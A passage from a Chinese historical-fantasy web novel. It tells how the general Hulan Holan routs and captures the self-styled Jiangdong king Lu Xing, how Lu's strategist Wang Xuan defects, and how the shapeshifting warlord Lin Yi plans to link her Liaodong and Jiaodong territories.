胶东半岛的都尉驻军所在,被林一设置在了掖县,这在她看来才是胶东半岛命脉要冲所在之地,呼兰霍兰就在此地练兵巡兵,其他别的什么事都不管,当然了,在这样的情况下,有事情找上他是肯定的。 江东王陆行! 早在江东联盟成立之初,各家就支援了陆行一部分私兵,组成了江东联盟军,这些军士由各自的家族出一半军饷,剩下的都是陆家供养,虽然一年半载养得起,可是不出去搞搞地盘,那要来军队是做什么的? 在陆行的算计里,他要的可不止是江东这点地方,而是要以江东为基础,打下青徐扬,天下九州他要划拉三分之一在手的,联盟军成立没多久,他就直取淮北,一路至海西县,所向披靡几乎没有遇到过像样的抵抗。 属于魏朝守军的部分,早以孤立无援多时,一击即溃,朝廷的信誉在被雪域人打了辽东,又下雍西时,却没有出一次兵时就已经耗损殆尽,地方上,土皇帝大过天,何况江东王的背后乃是江东六郡十三家大世族,底下又有几百家中小世族,这可能是目前最强大的割据势力了。 陆行在取了海西县后,信心也大增,将视线投向了琅琊郡,琅琊郡非常痛快地投了,因为当地几家大世族凑在一起盘算了一下,未来天下,自家门下,并没有志在天下之人,而且成事者王,败事者死,越是大世族越不敢赌这个,投一位成事希望很大的王远比一郡独立,成为周边势力的逐鹿场更划算。 轻取琅琊郡后,江东王的声势更壮大,陆行的目光,对准了胶东半岛。 四月末,呼兰霍兰留兵五千在掖县,再从掖县调兵至高密,江东王陆行集兵于琅琊,双方预备陈兵于石泉,大战一触即发。 其实呼兰霍兰也搞不懂,这位江东王在想什么,打仗这种事,林一一向都是来骗来偷袭,绝对不讲武德,成果也相当显著,而陆行一路浩浩荡荡大军过境,摆出的架势比皇帝巡逻都要足,这只能令一些世族低头,真要打硬仗,还要这么玩的吗? 这个……陆行还没想过胶东半岛这种世族遍地,最近只是被泥腿子海飘子占据的地方,能有啥硬仗打。 林一已经一个月没有来胶东了,上次她说翅膀上的羽毛褪掉不少,飞行有些吃力了,可能要等几个月才能长齐,然后就是整整一个月的等待。 呼兰霍兰把六尺长刀插在地面上,对身边的将领吩咐道:“通知下去,此战留俘,降者遣归乡。” 第130章 其实这种军令很正常的,打仗这种事,围三阙一,穷寇莫追,一面倒的屠杀只能震慑不能长久,有求生的希望才会令大多数的士卒退却。就像是屠城,一次两次可能有城池未战先怯,开门投诚,但是真要遇到了宁死不投的,那就是死守到底,打仗也是一样的。 呼兰霍兰无意震慑什么,他和江东兵初次交战,探探底罢了,但是!他可不知道,这拿捏到江东兵的命门了。 六郡十三家,每家凑的部曲,这家平时吃得好,那家身上武器锋利,还有披的甲是什么材质的,这一路上可没少比啊,哪里是一支江东军,这其实是十三家联盟军。倒是还约好了战场上比一比谁家杀敌更多,但是兵发石泉的路上就懵逼了。怎么回事?真打?这一路上没有真打过呀! 战事哪里容得多想,呼兰霍兰安排自己为先锋,亲自带着百十披甲壮士冲阵在前,六尺的长刀……说些比较抱歉的话,江东子弟多个矮,好多人本身也就六尺长短。这一把长刀砍杀来去,直接在战场上清空一大块地盘,只要见到呼兰霍兰冲过来,马上就是一片推搡避让,有好几次如果不是丹阳兵抵抗激烈,都让呼兰霍兰杀到江东王鼻子底下了。 陆行还算临危不乱,试图调度兵马切割战场,把敌方大将给围起来或杀或俘,但是切割战场本身就是比较吃人命的操作……江东兵谁都不想去,只能派遣吴郡陆氏自家兵去。 江东王心里都在滴血,然后眼睁睁看着已经被包围的呼兰霍兰收刀回马,改为双手戟,冲入人群就是一阵杀,他身上没有披甲,远程弓箭兵嗖嗖对准了射,但每次都被灵敏避开。那战马倒是全身披竹甲,一个慌神的工夫,呼兰霍兰已经冲破重围,再回胶东军阵中。 陆行都懵了,这是人啊? 不等他懵,新任命没几天的军师王宣,琅琊王氏宗子王天光再也受不了这个蠢猪了,怒吼道:“陆行,收兵啊!” 陆行这才反应过来,下令收兵。 收兵当然没办法按照最好的设想收,陷入包围的兵力就收不回来了,不少江东兵为了逃跑,丢盔弃甲,这样既能让自己逃得更快,也给敌人带去一些阻力,指敌人会因为馋盔甲而停下来捡拾哄抢,然后他们可以迅速跑路。 说真的,不是今天这一战,陆行都不知道江东兵有这么多花招玩。 不提一上战场马上丢掉兵器跪地露出屁股的,还有战时途中从尸体身上抹点血装死的,收兵时丢盔弃甲的,现在还有在军营里鼓吹投降的。 “街个战场上那个戎人将军,真是吊死了,这怎该打得过他哦?不如投降算乐,街个陆行裤子都吓掉的了!” “久似的了,窝们多少人去的,几个人回来的?而且人个都不撒俘虏的。” “陆行也是个吊呆比,就上去给人家杀,他还把吴郡兵堆上去了,这趟没回来多少啊!跟着他过没得什么意思的样子,他就嘴吊一些。” “真不撒俘虏,我都望见了的,有个我们村里头的,他上去就朝地上一蹲,刀扔掉的了,然后就真没得人去砍他。” …… 就这些话,普通的反王听见了直接拉去宰掉也是正常的,但是吧,对江东兵来说属于日常了,不光是陆行听见的这一处,应该说整个军营到处都是这样的对话声,啊对,这就是江东。 富庶之地养出来的子弟,打顺风仗吊得不行,一旦逆风,心思就活络多了,不光是惜命,也是因为压根没有服气上头:咋就突然来个江东王?郡望世族定的?窝家县里还没同意,县里同意村里还没开过会,咋就把我编进军中了? 不过一战之后,陆行也发现了一些不同于普通江东兵的地方兵,最勇猛精锐的是丹阳郡支援的一千五百丹阳兵,其次会稽兵,陆家的吴郡兵胜在忠诚纪律性强,论勇武还真比不上丹阳会稽兵,当然了,也有一些格外出众的嘴兵,比如建业兵,淮阴兵。 把淮阴兵和建业兵相比其实有点冤枉了,他们属于骂战第一,打架第二,但是他们骂声过大了,以致于战力方面被掩盖过去了。建业兵的嘴就属于敌我不分的,可以把敌人骂得跳脚,回头也能喷陆行一头一脸。陆行决定提拔一下建业兵做先锋,淮阴兵就放在建业兵后边,这两拨嘴兵他是一点都不心疼。 会稽兵……陆行还真不敢用,因为现在军营里到处宣传不是窝们江东不行,是陆行这个人不行,换个盟主就好了的声音,就是会稽兵发出来的,他们在打仗的时候听令,回来就不惯着了,他们会稽郡倒不是人人服气虞家,可是陆行太拉了,也许虞轻公子是个不善言辞但是善于军事的主君呢? 陆行以前的优点,一战全部被打废!你能团结江东六郡,能组织江东联盟?你会二十三种方言演讲?可是你打仗不行啊! 江东军营里闹哄哄,胶东那边的俘虏营同样也是一个小型的嘴战之地。 被俘虏的最多的是广陵郡兵,倒不是说战力差,而是他们实际上是水军来着,打水战的那种水军,因为陆行要凑人手的缘故,这些水军也被拉到战场上来充人头,其中不乏平时水里来去的海匪渔霸想挣一份前程来投江东王的,然后就他娘的就栽在陆地上了。 这些水军的怨气重得像水鬼,偏偏身边还有不少建业兵在骂骂咧咧,等到俘虏营这边打起来的消息传到甄及耳朵里,已经打到见血。 这种小事当然不用麻烦主将,甄及过来看了看,然后吩咐:“按照地方把俘虏分开,广陵兵就放在一起,建业兵单独隔离嘛,都分开关,不要把江东人关在一起。” 是的,对江东事,胶东人也略有耳闻。 但是这不对,甄及耳闻的比较少,马上就有好些人站起来怒道:“阿拉扈渎的,跟吴郡没关系的。” 甄及疑惑询问,“……扈渎是江东哪个郡?” 一个淮阴小年轻咧嘴笑着解释道:“就是吴郡的,吴郡靠海那一片的一些渔村之类的,嫌吴郡看不上他们呢,出去就说是扈渎的,也有说是申江的,窝第一次听也以为那至少是个县怎么的。” 甄及脑袋都大了,“来来来,把这些扈渎大爷和广陵兵放在一起,都是水里游的鱼儿,别再打架了啊!” 这下扈渎大爷们也安静了,只要不和吴郡兵关在一起就行。 到晚上,还管这些俘虏一顿饭,没什么好菜,荤的就是鱼汤,然后是一些春韭和稻米饭,盐是给得足足的,当然了,人家江东也不缺这些,吃得倒是蛮香。 呼兰霍兰简单计算了一下战损,胶东军新成立不久,披甲兵更少,其中有半数世家部曲,在这场战事中出力……很小,几乎都是在后面晃悠,人心不齐,而且他如果像江东王那样在战场上露出弱态,那大概等不到回营结算,马上就会遭遇反水。 即便是面对这种情况,呼兰霍兰的脸上也没有太大的表情波动,他沉着地整理了所有可能会发生的情况,下令今夜守好门户,防止江东军夜袭,然后带着一支两千人的精锐队伍趁夜色出发。 陆行压根就没想过夜袭,别讲夜袭了,他现在焦头烂额,已经顾不得颜面,把陆氏私兵安排到营帐附近巡逻镇守,防止真的出几个反骨仔砍了他人头拿去投降。然后点灯熬油写了求援书信共计三份,让三名传信兵走不同路线,趁着夜色出发折返吴郡,让他爹带着全部的陆氏部曲来援,出师未捷就罢了,可千万不要让他交代在这里。 江东军营是那种典型的沿河连营,十三家地方兵按照地域驻扎一处,建业兵……单独在一处小山头驻扎,其实淮阴兵的嘴不弱于他们,但是淮阴兵有战力,建业兵也不乐意和他们待在一起,说急眼了这些小杆子真能打他们,所以夜色弥漫之下,第一个被端掉就是建业兵营。 呼兰霍兰的脸一出现,就吓得兵营里人窜马叫,这喝漆麻乌滴,这喝人巴拉滴,这比是白天那个万人敌! 那建业的将军生怕自己一开口就是你他妈的,捂住了嘴巴,示意大家把自己手举高高,以方便捆扎。 呼兰霍兰有些费解,而且也没带那么多绳索,最后是用的建业兵自己的腰带捆他们自己的手脚,这样所有人都蹲了下去,不然一站起来就露屁股了。 解决了建业兵营之后,建业将军还努力斯文着给他们指了路,“那过是吴郡兵,最边上的是扈渎兵在警戒,这两边不管你打哪边,都不可能赶过来帮忙的哦。” 呼兰霍兰点头,夜色下离开建业的山头,朝着吴郡兵营慢慢地潜伏过去。 沿岸连营,一片寂静,偶尔有一些马嘶和虫鸣,半夜过去,江东王小睡了一觉,醒来时走出大营,还和不远处的呼兰霍兰打了声招呼,“早……” 走了几步,陆行的脚步忽然顿住,不远处的……谁?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-140 第131章 江东兵营分门别类关俘虏,此次江东联盟军人数过万,但真打起来有反抗之力的,也就是丹阳和会稽兵,丹阳兵猛,会稽兵野,而这两家加起来人数也不超过三千。 料理完俘虏的事,正好陆行出门了,出门时还打了个招呼,呼兰霍兰都愣了一下。甄及朝他摊手,没法子的事,他们带来的人手少嘛,而且掀帘子的时候人家江东王睡得还很香呢,也就没腾出手管,反正周围都圈起来了他跑不脱的。 呼兰霍兰大步走了过去,像拧个小鸡仔一样把陆行抓起来了,沉声说道:“陆盟主,配合些,过了今日商议一些城池分割,留下些赎买钱就能放你走,不要自误。” 这是战前崔元和他提过的部分,胶东这么点地方吃不下整个江东联盟军,更何况江东联盟的背后是江东世族,他们的底蕴可远不止拿出来入伙的这点,真以为打了胜仗就能全盘接管江东,那是想屁吃,换些实际的好处才是正经。 陆行也明白这点,只是难免羞愤,在呼兰霍兰手里不住地扑腾,“放开,放开我,我自己会走!” 然后他就真的很配合了。 大约是还不了解江东世族子弟的缘故,呼兰霍兰沉默了一下,不过……也行吧。 惜命的真不止陆行一个,昨天战场上怒吼陆行,要他收兵的琅琊王氏的宗子,江东联盟军的现任军师都督王宣比陆行还要惜命,或者说是跳槽很快,在陆行坐进俘虏营的地铺之后,他也坐了上座,为呼兰霍兰分析起陆行的价钱来。 “将军,陆行本身在江东的威望不深,六郡世族都是想找一个由头联合起来,每年江东这些地方被朝廷抽税极多,眼见魏君弱势,世族为利而反。陆行不算什么,反而陆家主才是积威深重之人,倘若杀陆行,江东联盟决不会群龙无首,而是会马上打出为盟主报仇的旗帜,更快地集结兵力来攻胶东。” “所以拿他换一些实利是最好的,盟约本身没有任何约束效力,以人换城,随时可能被反扑,这就很清晰了,换粮!” “去岁北边蝗灾,但江东水脉纵横,比之往年减产一些,但仍然算是丰收,让江东六郡每家出一部分,摊开来算,就入凑联盟军那样,到不了伤筋动骨的地步,需要卡在每家的底线上,所以陆行的价格是……” 呼兰霍兰和甄及面面相觑,当然了,这位琅琊王氏宗子的洛下音说得很好,每个字都听得懂,但组合起来很怪,把原主公给明码标价,还分析得这么透透的,就算是雪域来的呼兰霍兰都听得懂。 甄及等王宣说完,才忍不住问道:“公子啊,你这跳反得是不是有点快?” 王宣沉吟片刻,看向呼兰霍兰,眼里几乎染上星光,一只手按在桌面上,“当今天下,乱世之秋,上者争地夺权,以天下为棋盘;中者明哲保身,庇佑家门;而下者为黎明苍生,如浮木挣扎于洪波。” “天光不才,中者尔尔,为自己明哲保身,为家族谋个平稳,跟陆行不过是权宜之计。如今假霸王遇到真霸王,我欲随真霸王,天经地义事!若有余裕,再济苍生。跳反不跳反的,我都这样说了,将军还在意我跳反快不快?” 甄及目瞪口呆,他第一次见识什么叫真的雄辩之才,比起王宣,南约那点口才算得了什么喃。 呼兰霍兰沉默片刻,说道:“以后有我一口饭吃,就有你一口饭吃。” 这是他学魏语时候记得很清楚的一句俗语,他对呼兰部落的人这样承诺过,这次是第一次和雪域之外的人承诺这个,他觉得王宣是个有用处的人。 王公子就露出一个欣喜而不失风度的笑容。 既然已经跳反,其他的事也不妨和王宣商议商议了,甄及知道呼兰霍兰不善言辞,得到眼神示意,马上开口道:“公子,我们这趟出来夜袭也是有缘故的,胶东军中有半数世族部曲,整个胶东半岛还有黄县独守,东莱王氏不曾倒,世族虽归附但心有不甘,而我们也想清洗一些世族,所以我们有一位林蛋军师制定了计划……” 王宣很认真地听着,至于林蛋,他以为是林淡或者林旦之类,反正正常人咋可能起个蛋做名字。 “他说前线开战,后方他暗地撺掇一下,让人心浮动的世族跳出来,这样转头打完江东联盟军,再回头收拾那些世族,我们悄悄出来夜袭,倘若成功,悄悄返回掖县,等着他们往外跳。” 王宣疑惑,“成功什么,这么多人放在这里还能作假不成?” 甄及摸了摸鼻子。 呼兰霍兰就诚实得多,“本来打算杀空这片连营的。” 两千人屠杀一万人,可以做到的吗?当然可以!这两千人是呼兰霍兰以呼兰子弟的水准训练数月出来的,挑出来的每一个都是训练时的尖兵,人人披甲戴盔,还跟着呼兰霍兰这样真正的万军阵中杀穿来回的绝世猛将,士气如雷。如果不是刚来就摸到了建业兵营,然后遇到一窝自己把手举高高的建业兵的话…… 当然,纯靠*人力杀也不足够,但是这沿岸连营主体是木制的,不要以为建在水边就烧不掉,连营一旦火势蔓延,几乎用不到真的下场屠杀,跑不出多少溃兵来的。 建造连营之事,没有谁提及,人太多了,沿河行军的当陆行下令扎营,然后各家部曲就很自然地按照地域分开了建营地,没有一点儿团在一起的意思,连营建了足足十里长。主要是江东联盟军里真没什么军事人才,王宣他也不是搞这个的,十里连营对呼兰霍兰来说简直乱杀都能赢。 总之俘虏了这么多人,反而一时半会儿没法快速折返了,王宣倒不觉得,他分析说道:“遣散一些不重要的兵员,吸纳一部分可吸纳的,留下两三千俘虏就管得住了,一千建业兵直接遣散,六百淮阴兵也不要了,广陵兵善于水战,以后可能用得上,而且他们多是水匪渔霸,跟随陆行就是为了搏个前程,可以留一些精锐,然后是……” 其实王宣之前并不了解江东那一片,只是略有听闻罢了,这些宝贵经验全是短短的随军路上总结出来的,制定了遣散和留下的名单后,他又兴致勃勃询问胶东的事情,很明显已经把自己当做自己人。 俘虏营地里,声音最大的就是昨晚的建业兵,陆行嘴里叼根草,眯着眼睛听。 “活丑!陆行活丑!昨个晚上给窝魂都吓飞得了,还好不得死哎!一个晚上,就望见人家将军一锅一锅端!” “当时我就说诶,这个位置不对,太平咯,死陆行就是要在这边建营,一比吊糟的狗屎地形。” “久似的了,河边都有蚊子咯,蚊子都要把人抬走了,世家子弟不晓得住水边蚊子多嘛?他帐子里是有人给他逮蚊子是什么的?” “昨个好像没怎该死人,这还行哎!乖乖,也不晓得怎么办,军师那个帐子好像叫人摸进去了,然后他被捉走了,他长得还人五人六的,不晓得有没得事情哎。” 陆行嗤笑一声,王宣能出事就怪了,昨天战后他就明显感觉到军师的心里已经没有他了,男人不忠譬如女人不贞,只要开了头,就会有无数次的。 但是这会儿他也没脸说话,他不吭声火力就不在他身上,这个时候他可一点都不想显眼。 就在这时,天上忽然落下一道阴影来,陆行是半躺半靠的,下意识地微微抬头,就看到一只奇形怪状的巨大飞鸟正在俯冲落地,吓了一大跳,没想显眼也叫出了声,好在他这一声不是孤零零的,俘虏营这边看到巨鸟,也此起彼伏大叫起来。 天底下居然还有这么大的鸟? 更可怕的还在后面,巨鸟俯冲落地,地皮都被那锋利的爪子铲出两道长长的痕迹,随后两个巨大的翅膀三折叠收拢入两侧,然后那麻麻赖赖满是羽管,羽管中有少部分黑羽彩羽的鸟身忽然瘪下,鸟喙大张,就好像从胃里吐出一个脑袋来,然后翻转,翻转出了一个人,有胆子小的直接吓晕了,胆子大的也吓得直骂脏。 林一刚变形出人身来,就看到远远近近都是人在看她,也没有不好意思,捡起落地时丢在地上的大麻袋,从里面翻出衣裳裹好,系上皮革腰带,就是个很体面的鸟人了,她在空中已经看到了地下的地形,也不用问路,从俘虏营的过道穿行而过,走向营地方向。 江东联盟军面面相觑,好半晌落针可闻,忽然一声巴掌清脆的声响,众人循声看去,见陆行给自己脸上来了一下,非常自信非常欣喜地说:“是了,是了,原来我今早还没起床,还在梦中啊!” 一个淮阴小兵合上半张到几乎流口水的嘴巴,一点都不惯着他,上去就是一脚踹在陆行屁股上。 “个吊人能嚼蛆呢,被捉来一个早上了,现在醒了撒?” 第132章 俘虏营就是原先的连营,呼兰霍兰带来的两千人手隔营把守,并没有关在一起,当然了,陆行关的是建业和淮阴兵的俘虏营,这是因为两拨嘴兵单独在一个小山头,陆行如果要逃跑就会非常显眼。 绝对不是因为呼兰霍兰遣送陆行过来时,发现建业和淮阴兵这边非常踊跃。 大帐易主,原本江东王卧睡的地方成了开会区域,新来的王宣正在讲述他对未来局势的看法,这算是一种对新主公的实力展现。他在江东这边的军师地位主要来源于琅琊王氏的名声,不管江东世族如何厉害,琅琊王这种一等大世族也是盖压一头的,但在陆行那里当军师,其实没啥意思,陆行本身也不是笨人,他更相信自身。换个说法,刚愎自用。 为了证明自己和陆行不是一类人,王宣几乎有些交浅言深了,甄及时不时压低声音,但没用,帐子就这么大点。 “王军师说的是未来天下格局的事,跟林军师讲的有点差别,他觉得反王会很多很多,要互相吞并到数年之后才能形成稳固局势,那时候再下场不迟。” “人多就散,人散就难打,这也是强大势力抢更多地盘的时间。” “主公现在只有胶东半岛割据,并不保险,倘若顺势取青州在手,即可在接下来的几年内坐看风云……” 呼兰霍兰正要开口,林一把头伸了进来,“不止是胶东半岛,俺有辽东半岛和雍西四郡,还有整个雪域在手里,军师说的是小势力的打法,但是青州确实得取下,俺还想打通胶东和辽东的区域。” 王宣愣了一下,回头看了看霍兰,看见自己这位新主公已经起身相迎,脑子转了转,大致上明白了一些,对着林一笑而拱手。 然后他并不怯场,略微思索了一下,风度翩翩笑道:“我大概懂了,您是那位经略辽东的林女君,去岁又攻打了雍西走廊,胶东这里引风雷的白小娘也是您,而这位将军是……苏赫部落的王子?” 他对雪域的了解不多,毕竟琅琊郡属于徐州范围,而徐州这个位置历来属于南国之门户,也就是说南人觉得他们北,北人觉得他们南,能听闻一些辽东的事已经是世族消息广了。至于雍西四郡,那是林一闹得大,也正是魏朝连续丢失雍西和遭遇流民起义,才让江东地方世族找到了理由反叛。 王宣得到的消息已经是非常纯的了,其他那些譬如什么鸟化人,人化鸟,魏帝和林女君她娘人鸟情什么的,对世族来说纯属民间野史,于是王宣这边得到的情报其实最接近于现实。 魏帝二十三年夏,帝遣女和亲,公主寻了一位林女君代嫁。和亲雪域后,这位野心勃勃的女君很快在雪域三大部落之一的苏赫部站稳脚跟,和亲第一年底领兵打下了被克烈部占据数年的辽东。魏帝欲以父女之情拿回辽东时发现林女君并非公主,只能灰溜溜作罢。 随后魏帝二十四年,再次遣公主和亲克烈部,拉拢克烈部对付苏赫部,这一年林女君双线作战,北击塔塔尔,南灭克烈部,一统雪域。其后天刚入秋,再攻雍西,闪电战拿下四郡。 如今是二十五年盛夏时节,三年不到的时间,一个孤身女子就已经打下这样的家业,她居然还嫌不够,不知什么时候摸进胶东来,打下了胶东半岛! 王宣马上嫌弃上了自己刚认的主公,用一双染了星光水色的眸子看着林一,声音发紧,“辽东和胶东之间,有海路相连,但终归不够,两块飞地若想相连,打通两边区域,沿途需经辽西→右北平→渔阳→广阳→渤海→平原→济南→齐郡,跨越大半个故燕之地。以辽东或者胶东孤军而战并不现实,最好的方案是,两线开战,中途会师。” “辽东攻下辽西,再击右北平,胶东打下齐郡济南,再兵出渤海,打广阳渔阳,也可能一线稍弱,遣军来援即可,当两军会合之时,就是两地连通之时。” “其实仅仅连通两地不需要攻打这么多郡,但此利于割据!有这些地方在手,挟持中原,无论那支势力争雄,都不可能坐大到无法收拾的地步,如今还有陆行在手,后方粮草供应压力也减少许多,正是天时地利人和。” 林一听得感觉很有道理,崔元和苏起劝她停步,是因为内部治理问题,她还是更习惯于打下一地,彻底治理成自己的后花园。因为她打地盘的最终目的是让更多人吃饱穿暖,就像现在江东因为地方富庶过得蛮好的,她就暂时没有攻打的需求。但是天下之局确实如此,三面飞地对以后不利,她需要让两块地方连通,为此可以打下远超过两郡的地盘,这叫经略地方。 她伸手拍了拍王宣的肩膀,夸赞道:“恁是一个好军师……那个,哪个世族出身的?” 王宣虽然激动,但风度不减,朗声说道:“禀主君,在下琅琊王氏之宗子王宣,字天光,主君可以以字相称,也能连名带姓呼唤,上者其下……” 林一悬着的心终于死了,伸手又拍了拍他,沉重地道:“好,俺记下了。” 和崔殊崔元苏起姜命一样,在她打到某人故里的时候,需要放过的世族又多了一家,还是一个顶级大世族,肉眼可见的会对将来造成很大的麻烦。 可是糖衣真的很好吃啊! 林一还准备先去一趟掖县,有她在,呼兰霍兰甚至都不用急着回去了,他自己在这里忙活江东王的赎金就成,掖县五千留守兵,以林一的军事水平,带着他们打个太原都够了。 临行前,林一一拍脑袋,咧嘴对王宣道:“这是呼兰族长,俺们雪域的一个部族的族长,他不姓苏赫,这次两线会战他负责胶东方面,王军师好好辅佐他。” 担心王宣还不能理解这里头的关系,林一把高大的呼兰霍兰衣襟拉下,他瞪圆了眼睛,铁塔一样的腰身弯折些许,任由林一在他脸颊上给了个吻。 很轻,像麻雀一样轻,但要不是后面甄及挡了一下,呼兰霍兰几乎就要向后倒下去了。 王宣马上就理解了,他这样的人,脑子转起来是飞快的。 世族消息多,他也知道雪域是收继婚俗,苏赫汗王的王子们或许之前有一些妻妾,但在见识到林女君的强势风姿之后,肯定都是围着她转的。 而魏朝世族多崇尚妇人守贞,他当时没多想,认为林女君肯定已经有几个王子做备选了,又没有什么攻打下地盘强占美男的名声,肯定也是个传统世族女郎。但,现在的情况大概是……女君私下里,在苏赫部落之外,扶持了一支新势力,高明的政治操作。 但是王宣也是有些懵的,他只配给将军做辅助,而不能直接进入一等谋士圈子吗? 做完这些,林一伸手拍了一下呼兰霍兰的肩膀,就推开他出了大帐去了,掖县那边她得赶紧去看看。 大帐里人不多,呼兰霍兰几乎是飘回位置上的,他看着王宣,王宣也看着他,呼兰霍兰的脸红得不怎么明显,声音还是宛转悠扬如同雪域歌谣:“嗯,就是这样,我就是她的男人,之一。” 后面两个字说得不怎么情愿,但情绪已经足够喜悦,王宣忽然想起几年前偶然看过的,他堂哥的一次妻妾斗法,那妾室得了宠又要矜持,微微翘着嘴巴,说话的神态简直和这位虎豹似的将军一模一样。 我以为我投靠了真霸王啊! 王宣欲哭无泪,只能朝着呼兰霍兰拱了拱手,行,你厉害,八尺三寸的大个,战场上横推无敌,下了战场居然也能吃上软饭了。 “那个,还是聊回陆行吧,现在得提提价了,除了粮食之外,我们要开战,需要更多的兵员。呼兰将军,我的建议是,让江东联盟拿丹阳兵来换,最少两千丹阳兵,粮食都可以少要,精兵最重要。” 呼兰霍兰对这些不感兴趣,他现在脸颊烧乎乎的,整个人也烧得不行,心里软乎乎,情绪……非常非常善良,这会儿王宣提一嘴直接放陆行回江东他都干。 林一飞回掖县时,稍微注意了一些,没像在江东俘虏营那样直接化形,毕竟她在胶东还冒了个白小娘的身份来着,掖县现在是郡治所在,崔元和苏起正在掖县衙门办公,林一一来,两人马上起身相迎。 “主君,前线战况如何了?”崔元马上问,他知道林一肯定是先去战场再来掖县的。 林一摆摆手,“大胜,俺去的时候俘虏营建了一大串,陆行的军师都跳了反,前线什么问题都没有,现在执行恁的计划,把胶东料理料理,俺们今年还有很多事要办。” 她甚至都不知道那沿河两岸乱糟糟的木头堆,不是新建的比较敷衍的俘虏营,而是江东军自己建的驻扎营地呢。 第133章 崔元坑世族的最重要前提就是对江东前线得大胜,少了这个前提那就不是坑世族,而是坑自家了。 现在心下安定,崔元便把之前的计划再和林一说了一遍,首先散布前线吃紧的消息,征召一批世族私兵,然后这一拨兵就按在距离掖县不远的曲成,那边距离黄县也不远,就等着世族和黄县那边的东莱王氏暗通款曲上,如果黄县反攻,就地拿下。 “东莱王氏有私兵六千,黄县自身也有两千守军,攻之不易,如果再有世族相助,前线又拖住我们大量兵力的情况下,东莱王氏不是坐以待毙之辈,目前掖县这边有五千兵员,我们征召的世族私兵按在曲成不参战,这只是为了削弱世族实力,而非真的要动用。” 崔元掰开揉碎了解释道:“兵贵神速,等我消息散布,征召令发,东莱王那边就会行动,他们若有投诚之意,不可能困守孤城那么久。” 林一点头,但有一点不同意,她问道:“为什么世族私兵不能为我所用?” 崔元和苏起对视一眼,都从对方眼里看到了茫然,这……这不应该的吗?世族私兵,世世代代追随世族,都是家生之子,或者说部曲的衣食都是世族供给,这年头最忠诚的就是自家部曲了啊。 朝廷守军,那才吃你大魏几年粮! 林一挨个拍了拍她两位军师的肩膀,世族军师脑瓜子是聪明,可是见识真少了些。 大头兵嘛,她当过很多年了,别说把她拉虫族战场杀虫去,就是上头把她调到百鸟帝国中央星球去杀鸟,那也是下了飞舟就是个干啊,崔元苏起脑子里设想的是,带着世族私兵去干世族,私兵不肯杀主,就此内讧乱起。 但实际上,正常的操作是,一个将军带几千兵出去砍人,除非明确带到了某个世族家宅,不然可能人都砍了一半,才能从某个脑袋里认出旧主来,而砍到这里的时候,什么忠诚不忠诚的都是一刀的事。 当然林一还没有缺德到这个地步,掖县的兵员用来砍作乱的世族足够了,这些私兵部曲带去打黄县吧。 与此同时,和崔元一起出崔氏的崔语也在前线军营里,人各有所长,崔殊这个崔氏前宗子玩弄人心,挑拨离间是一绝,崔元更善于组织和内政,崔语就偏向军事方面一些,这也是他被江骋吸引的原因之一。 今年天下各地都不太平,尤其太原上党那边蠢蠢欲动,沿边一线的郡往年还有来自雪域的压力,但雪域易主后,新的雪域之王显然比克烈部更有眼界,人家不南下劫掠,直接夺了四郡!但老实说,其他郡的压力还是松了许多的,压力一松,难免想入非非。 那江东水软人软,出一个陆行都敢自称江东王,雍州一线乃至朔方幽州等地,这样广袤的土地,如何出不得一个西北王? 当然了,谁看自家都像是西北王。 杨裳并无头一个称王的打算,他为人狂而慎,狂是做给人看的,谨慎才是内在的,枪打出头鸟,得有人做了初一他才好做十五。于是今年春时,上党大族赵氏自立,赵家主原为上党太守,如今自立为上党公,类如战国时期的公侯伯爵一般。 随后太原李氏自立,同样号为太原公,其后各郡纷纷自立,不过大多是太守改郡公,是一种旧制复辟,也有几家不是这样……嗯,天水郡大世族几乎死完了,这次自立的原先是寒门子弟,朱大方屠刀之下的漏网之鱼,和金城郡安定郡等一块儿自立的,等于三郡为一家,这样才好生存。 同样的,太原李氏自立之前,曾与上党赵氏和雁门杨氏说定,遇战必援,就此形成了小三角之势。 不过两家并没有意识到,雁门杨氏并不是和他们一样打算只是割据一郡的,林一在胶东搞事情的同步时间,江骋已经在训练步骑协同作战,从春到夏,接连北上拿下定襄云中五原三郡,虎视朔方西河二郡。朔方难下,江骋选择走险招,佯攻朔方,先下西河,然后控制西河渡口攻最近的上郡,只要西河上郡皆在手,朔方在地理上就被孤立,取之易如反掌。 太原和上党两地如今已经是被杨氏彻底拉上战车了,江骋如今帐下近万的兵马,有五千之数是李家和赵家的部曲,赵家的部曲更加精通杀人技,而李家私兵军阵娴熟,各有所长。 崔语将地图摊开,这些地图都是精心绣在厚锦上的,乃是世族的底蕴所在,自然也不可以在上头写写画画,他手指在朔方郡上点了点,犹豫着道:“少将军,如今正攻西河,朔方被佯攻牵制兵力,但此行略微冒险,倘若西河郡被攻下,再攻上郡,一来一回至少数月,朔方这个位置……” 他没有多说,话里未尽之意江骋明白,军师也是需要和主公关系足够熟络才敢什么都讲的,正常来说他只要点到位就可以了。 江骋显然也想过这个问题,没有那么多忌讳,“我在攻上郡之时,朔方可能被雪域趁机而入,但军师,雪域人善攻不善守,朔方军事重镇,若被雪域人如在辽东那样屠戮一遍,而鸿羽再夺回其地,不是更易于后续治理吗?” 他话是问句,实际上没有丝毫的征询之意,更像是在反问,你一个军师,只站在这第一层想事情吗? 崔语愣了一下,再看朔方郡的位置时,停顿片刻。 当初北上时,攻打郡县的路线是定襄云中五原,其实没必要这样齐整地打,因为云中可以西渡直插朔方,之所以要把三郡都拿在手中,怕不是江骋在北上之初就已经想好了这策略。 因为三郡在手,朔方被雪域夺下,这是孤军深入,很容易再打回来的! 崔语深吸一口气,声音略低哑了些,低头承认道:“少将军,是我的错,我没有想过……没有想过那么多。” 江骋黑眸如水,沉冷下来的时候更似冰,但语气略微柔和了些,说道:“罢了,是我不曾将打算与你说,现在开诚布公,军师可有计助我?” “朔方之地,北方重镇,历来以黄河运输物资,一旦后勤断绝……”崔语娴熟地分析着朔方,他终究是世族精心培养的人才,比江骋这样的将门更多一些细腻,能给江骋补充许多思路,但崔语说着说着,他自己的思绪却不知飘到了哪里。 这两年不知哪里冒出些方士术师,称未来天下无明主,唯有霸王与暴君相争,江东那边争霸王也是因此而来。谁都愿意自家是名头更好听的霸王,至少不会从名号就听得出残暴,连杨裳最近也在斟酌王号了,可崔语觉得,大约方士口中所言之暴君,正在他身侧。 今日是纵放雪域,明日呢?屠城灭镇? 他忽然有些想阿兄了,不知他在哪里,殊堂兄又在哪里?他是不是走了一步很错的棋? 